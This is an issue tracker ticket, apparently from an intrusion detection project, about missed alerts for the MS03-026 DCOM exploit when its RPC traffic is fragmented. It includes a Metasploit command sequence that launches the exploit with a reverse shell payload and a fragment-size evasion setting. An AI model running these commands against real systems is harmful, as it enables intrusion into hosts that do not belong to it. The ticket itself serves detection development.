Missed detection when dealing with fragmented RPC traffic (ms03-026)

07/07/2010 03:16 PM - Will Metcalf

Status: Closed
Priority: Normal
Assignee: Kirby Kuehl
Category: 
Target version: 1.1beta1
Affected Versions: 
Difficulty: 
Effort: 
Label: 

Description

The attached pcap is generated from metasploit for ms03-026. We seem to alert properly for all available evasion techniques in metasploit except for the use of rpc frags. Setting the following we only alert on the cmd banner post exploitation.

```bash
use exploit/windows/dcerpc/ms03_026_dcom
set PAYLOAD generic/shell_reverse_tcp
set LHOST 192.168.78.254
set RHOST 192.168.78.21
set DCERPC::ReadTimeout 65535
set DCERPC::max_frag_size 20
exploit
```

exploitation is successful and we get..


we should see..


07/07/10-20:35:03.679795 [**] [1:2002908:4] ET EXPLOIT x86 JmpCallAdditive Encoder [**] [Classification: Executable code was detected] [Priority: 3] {6} 192.168.78.254:47683 -> 192.168.78.21:135 [Xref => http://doc.emergingthreats.net/bin/view/Main/2002908][Xref => http://www.emergingthreats.net/cgi-bin/csvweb.cgi/sigs/EXPLOIT/EXPLOIT_Metasploit_Encoders]


History

#1 - 07/09/2010 12:06 PM - Kirby Kuehl
Will, can you try this again with the patch contained in Bug ID #200.

#2 - 07/22/2010 07:35 AM - Will Metcalf
Still missing detection for this one.

#3 - 07/25/2010 04:12 PM - Kirby Kuehl
- File 0001-fix-multiple-dcerpc-fragments-in-one-packet.patch added
- % Done changed from 0 to 50
The fully reassembled stubdata:

[BIND UID] [ 0 ] Accepted 4d9f4ab87d1c11cf861e0020af6e7c57 Major Version 0x0000 Minor Version 0x0000

The opnum suridata decodes:

Opnum 0x00


#5 - 07/26/2010 03:58 PM - Victor Julien

Applied, thanks Kirby. What else needs to be done?

#6 - 07/28/2010 01:57 PM - Victor Julien

- % Done changed from 50 to 80

Current master alerts on 3409 and 2123. Sig 2002908 doesn't fire.

#7 - 07/28/2010 01:57 PM - Victor Julien

- Estimated time changed from 2.50 h to 12.50 h

#8 - 07/29/2010 02:17 AM - Victor Julien

- Due date changed from 07/10/2010 to 08/23/2010
- Target version changed from 1.0.1 to 1.0.2
- Estimated time changed from 12.50 h to 15.00 h

Reverted to the old code in git master as we found too many issues. Re-targeting to 1.0.2.

#9 - 09/02/2010 04:36 AM - Victor Julien

- Due date changed from 08/23/2010 to 09/15/2010
- Target version changed from 1.0.2 to 1.1beta1

#10 - 10/07/2010 01:53 AM - Victor Julien

- Status changed from New to Closed
- % Done changed from 80 to 100

Now getting:


Sid 2002908 doesn't match, but I think I shouldn't on this pcap. Btw, the alerts in the original report show a tcp session that is not present in the pcap: 192.168.78.254:47683 -> 192.168.78.21:135

Files

- ms03_026_dcom-max_frag_size.pcap 6.02 KB 07/07/2010 Will Metcalf